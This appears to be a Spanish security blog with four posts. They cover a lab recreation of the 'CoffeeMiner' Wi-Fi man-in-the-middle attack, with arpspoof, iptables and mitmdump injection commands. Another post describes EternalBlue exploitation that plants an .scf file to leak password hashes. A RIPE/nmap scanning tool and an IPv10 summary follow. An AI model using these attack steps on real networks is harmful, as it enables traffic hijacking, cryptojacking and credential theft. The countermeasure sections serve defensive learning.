miércoles, 7 de febrero de 2018

Tomando un CoffeeMiner en el descanso.


Hace ya unos cuantos días leí la entrada del blog de Arnau Code relativo a "CoffeeMiner" . En dicha entrada se explica, en resumidas cuentas, como hacer que cualquier persona que se conecte a una WI-FI en la cual te encuentras mine para ti.

Resulto tan interesante la lectura que pase a testearlo (sin utilizar criptomonedas) , para lo cual clone en una de mis MV el repositorio Github de Arnau. A partir del cual comencé a revisar código para adaptarlo a mi MV, ya que dicha máquina -la cual será la atacante- es una máquina Linux sin entorno gráfico por lo que las llamadas a "Xterm" del código de Arnau no funcionan.



Código original de Arnau

NOTA: Sugiero encarecidamente, una vez clonado el repositorio Github, ejecutar el archivo: install.sh, clonado. Permitirá instalar los componentes necesarios para que el archivo python funcione.


Contenido del archivo: install.sh

Se realizaron varios cambios sobre el código original, aunque se puede decir que el principal consistió en dividir el archivo python: coffeeminer.py, en varios archivos. El objetivo fue controlar el funcionamiento ya que, como se comento anteriormente, la llamadas a "Xterm" no funcionan en el entorno de mis MV y no se podría seguir correctamente el funcionamiento del script.  

El resultado quedó de la siguiente manera:

1.- Archivo para configurar el firewall del sistema (1.HabilitarFIREWALL.py).

Sólo habría que lanzarlo la primera vez que trabajemos con el "CoffeMiner", ya que las reglas quedan modificadas de manera permanente.

Añadir que en mi caso, en vez de utilizar el código que se vio arriba, se ha utilizado las siguientes reglas para el firewall.

Contenido del archivo: 1.HabilitarFIREWALL.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("iptables -A FORWARD -i <identificador de nuestro NIC de entrada> -o <identificados de nuestro NIC de salida> -j ACCEPT")

Esto es debido a que, no se va a utilizar el software: ssltrip -última línea del script original-, y por lo tanto mi sistema no va a abrir el puerto 8080 para que funcione como proxy-web.

En mi caso, sólo permito el reenvío de los paquetes para que el usuario final no perciba ningún problema en las comunicaciones.

2.- Archivo que realizará el ARPSpoofing (2.ARPSpoofing.py)

Para ello debemos pasar como parámetro la dirección IP de nuestra default gateway. Con ese dato y con el contenido del archivo: victims.txt, que deben ser direcciones IP de las víctimas, se podrá hacer el ataque ARPSpoofing y así conseguir el MiTM.

Contenido del archivo: 2.ARPSpoofing.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP de la victima> <IP del default gateway>")

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP del default gateway> <IP de la victima>")

3.- Archivo que levantará un servidor web. (3.httpServer.py)

Se creará un servidor web que escuchará constantemente en el puerto 8000, en mi propia máquina.

Contenido del archivo: 3.httpServer.py

4.- Archivo que nos permitirá inyectar el código que permitirá hacer ... cosas malas. (4.LanzarMitdump.py)

Por un lado tenemos: mitmdump, que es una herramienta que permite analizar el tráfico que pasará a través de nuestro equipo y editarlo.

Por otro lado tenemos: inyector.py, que nos permite inyectar el código deseado.

Está línea, y estas dos herramientas son las realmente esenciales para realizar lo que Arnau nos propone, y son las que pueden dar mucho juego.


Contenido del archivo: 4.LanzarMitdump.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("/.local/bin/mitmdump -s ' injector.py http://<IP de nuestro servidor HTTP>/<archivo a descargar>' -T")

El contenido del archivo: script.js es:


Contenido del archivo: script.js

PoC

El entorno se compone de tres equipos:

1.-  Default Gateway : 172.21.5.15
2.- Servidor Linux, desde donde se lanza los scripts correspondientes al CoffeeMiner : 172.21.5.234

Configuración de red de la máquina atacante

3.- Máquina Linux, que será la víctima: 172.21.5.246

Configuración de red de la máquina victima

Se procede a lanzar la secuencia de scripts generados.

A.- 1.HabilitarFIREWALL.py

Lanzamos el primer script, que permite la configuración del firewall

 B.- 2.ARPSpoofing.py


Lanzamos el segundo script, que permite realizar el ARPSpoofing.

Tabla ARP de la máquina víctima.

C.- 3.httpServer.py


Lanzamos el tercer script, que levanta un servicio web.

C.- 4.LanzaMitmdump.py


Pantallazo obtenido tras lanzar el cuarto script.

Desde la máquina víctima se solicita a través del navegador la visita a la URL: www.arnaucode.com, obteniéndose el siguiente resultado:

Mensaje visualizado y que se corresponde con la orden dada en la línea inyectada.

CONTRAMEDIDAS

A nivel de red, al fundamentarse en un MitM mediante un ataque ARPSpoofing, la red se llena de tramas ARP desde el atacante hacía sus víctimas. También cada uno de los equipos víctimas sufrirán un incremento de actividad a nivel de red.

Por dicho motivo, se debería instalar un script/software/<o como se quiera llamar> que nos informe cuando dos direcciones IP tenga la misma M.A.C.. Esto sería un indicador bastante fiable de que estamos ante un ataque ARPSpoofing.

Un script que nos permitiría detectar un ataque ARPSpoofing puede ser el siguiente

A nivel de navegador web, y para detectar intentos de minería existen extensiones que detectan y bloquean dichos intentos. Como por ejemplo: No Coin y Miner Block

Al mismo nivel que el anterior, podemos ser más radicales, y deshabilitar la ejecución de "javascript".

Por último, me gustaría dejar caer las siguientes ideas ...

1.- Y si, en vez de un ataque MitM se configurara un archivo PAC (configuración de proxy-web) y se soltará para que todas aquellas máquinas/hosts que lo solicitan de manera implícita lo recogieran e hicieran de nuestra máquina su proxy-web.

Nuestra inyección sería más anónima.

2.- Y si, en vez de inyectar un comando: <alert>, o el código para descargar un archivo de minería, volviéramos a las andadas con los ransomware u otros malwares.

3.- Imaginación al poder.

En cualquier caso, todo esto implica estar presente en la red a "engañar" de manera física, aunque sea por tiempo finito. Pero ello también implicaría que los elementos de seguridad de la red nos los habríamos saltado y sólo quedarían las medidas de seguridad implementadas en los hosts finales.

¿Cómo sería de malo?

 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia





miércoles, 31 de enero de 2018

Una vuelta de tuerca

En un lugar de España de cuyo nombre no quiero acordarme, se encontraron hace tiempo varias de máquinas con sistema operativo Windows XP que no tenían ningún puerto abierto, salvo el puerto 445/TCP (protocolo SMB), y que era vulnerables a MS17-010 (EternalBlue/DoblePulsar).

De estas máquinas se quisieron obtener los hashes de los usuarios dados de alta ... pero como es obvio, las imágenes no se corresponde con el entorno donde realmente se llevó a cabo las acciones, sino del entorno de pruebas donde se gestaron las pruebas antes del asalto final.

ENTORNO DE PRUEBAS

Las pruebas se llevaron a cabo entre dos máquinas virtuales:

1.- Máquina Kali Linux, con direccionamiento IP: 172.21.5.246. 
                Máquina que lanzaría el exploit.

2.- Máquina Windows XP de 32 bits, con direccionamiento IP: 172.21.5.230
                Máquina virtual que simula una de las máquinas encontradas en la red de no sé sabe                                      dónde.

DESCUBRIMIENTO DE LA VULNERABILIDAD

Se confirmo mediante dos maneras:

1.- Mediante el archivo .nse:  smb-vuln-ms17-010.nse, utilizado por la herramienta: Nmap.


Confirmación de la presencia de la vulnerabilidad MS17-010 mediante la herramienta: Nmap
  
2.- Mediante el módulo de escaneo de la vulnerabilidad residente en la herramienta: metasploit.

Confirmación de la presencia de la vulnerabilidad MS17-010 mediante la herramienta: metasploit

EXPLOTACIÓN DE LA VULNERABILIDAD

Para la explotación, no se utilizo el módulo de metasploit ya que sólo está probado en sistemas Windows 7 y Windows Server 2008 R2.

Información sobre el módulo de metasploit que permite aprovecharnos del MS17-010

Se utilizo uno de los desarrollos en python ubicado en Github, que ha sido testeado en múltiples entornos, entre ellos, el Windows XP.

Sistemas en lo que el script en python, descargado de Github,  ha sido testeado

Si nos fijamos en el código del script: zzz_exploit.py, veremos que dicho exploit deja en la unidad C$ un archivo de 0 bytes, llamado: pwned.txt, como muestra de que la explotación ha sido realizada.

Función que crea remotamente el archivo: pwned.txt en la unidad C$

Pero qué ocurriría si se modifica el código para subir un archivo que NO fuera una shell reversa (no se quiere hacer mucho ruido en el sistema objetivo, ni tener que lidiar contra un AV), si no, un archivo con extensión: scf, conveniente modificado para que nos envíe los hashes de los usuarios del sistema.

Función modificada que sube el archivo: PoC.scf, a la unidad C$


Archivo con extensión: .scf. En dicho archivo se indica que vaya a buscar el icono del fichero a la ubicación dada y que coincide con la máquina que controlamos.

Tras la ejecución de dicho archivo: scf, que se realizará de manera transparente para el usuario de la máquina objetivo, además de que su ejecución se llevará a cabo de manera automática
-según sea grabado en el disco duro, el sistema operativo ejecutará el contenido del archivo-, provocará el envío de los hashes de los usuarios dados de alta en el sistema, tal y como ya se había comentado en la siguiente entrada de este blog.


Ejecución del exploit

Archivo obtenido en la máquina objetivo en la raíz de la unidad C

Hashes que se envían a la máquina que controlamos.

¿A partir de aquí? ... Imaginación.


CONTRAMEDIDAS

Obviamente, y como ya  dijeron multitud de personas, dejar de utilizar el protocolo SMB v1 y pasarse a SMB v2, en cualquiera de los sistemas que se utilicen. Y si el sistema no tiene una actualización para ello, cambia el sistema operativo o no trabajes con el protocolo SMB.


Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

martes, 23 de enero de 2018

La idea se hizo software.

Siguiendo lo comentado en la entrada: ¡Gracias por compartir RIPE! , hoy paso aguardar en esta mi memoria, el desarrollo en bash de una herramienta (versión 1) que permite:

1.- Buscar en RIPE por ciertas cadenas seleccionadas.

NOTA: Aquí debo exponer el hecho de que cuando alguien contrata un dominio a través de un hosting, la IP asignada aparecerá en RIPE vinculada al hosting, nunca a ese alguien. Por lo que, sería necesario encontrar otras vías para descubrir el direccionamiento IP de aquello que se quiere investigar.

2.- Escanear todos los puertos para los distintos rangos obtenidos.
3.- Parsear los resultados obtenidos (los puertos abiertos para los rangos dados) y almacenarlos en formato: .csv.

Aunque es útil como herramienta para encontrar los dominios dados de alta para un determinado objetivo, actualmente lo tengo desplegado en un servidor conectado a Internet que semanalmente lleva a cabo tareas de descubrimiento para alguno de mis clientes.

¡Nunca se sabe lo que se publica sin que lo sepa uno!

Sin más dilación, se pasa a mostrar los distintos códigos, que por cierto, no son bonitos pero son funcionales:

1.- RIPE.sh

OBJETIVO: Realiza la consulta a RIPE y con los datos obtenidos solicita el escaneado de los puertos para cada uno de los rangos encontrados.

 
Código del script: RIPE.sh

2.- Escanper.sh

OBJETIVO: Para cada rango solicitado se pasa a escanear todos sus puertos. Cuando termina solicita un "parseo" de la información obtenida.

NOTA: Se trabaja con procesos "nmap" en paralelo, por defecto se lanzan 15.

 

3.- Parseo-Escanper.sh

OBJETIVO: Generar un documento que permite visualizar de un vistazo los puertos abiertos de cada una de las IPs de los rangos sugeridos.


4.- ControlParametros.sh

OBJETIVO: Controlar que los rangos pasados al script: Escanper.sh, sean correctos.



Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia

miércoles, 13 de diciembre de 2017

IPv10 ya llegó, y yo sin enterarme.

La RFC del protocolo IPv10, publicado en noviembre de 2016, es una interesante lectura (Más información) , que se pasa a resumir teniendo en cuenta, exclusivamente, las mejoras del mismo.

RESUMEN DE ESTA EVOLUCIÓN

Este protocolo es la solución encontrada para fomentar el uso de IPv6 (Más información), haciendo que las comunicaciones entre IPv4 y IPv6 sean posibles, es decir, se ha buscado compatibilidad hacía atrás.

Para ello, y siempre utilizando la estructura del paquete introducido con el IPv6 (*), se adapta las IPv4 a la estructura de IPv6 (**) y el campo "Version" permite nuevos valores (***).

(*)
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version| Traffic Class |           Flow Label                  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Payload Length        |  Next Header  |   Hop Limit   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                         Source Address                        +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                      Destination Address                      +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Estructura del paquete en el protocolo IPv6

(**)
Transformación de direccionamiento IPv4 a IPv6 en el protocolo IPv10.




(***)
Comparación del campo: Versión, entre IPv6 y IPv10


Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.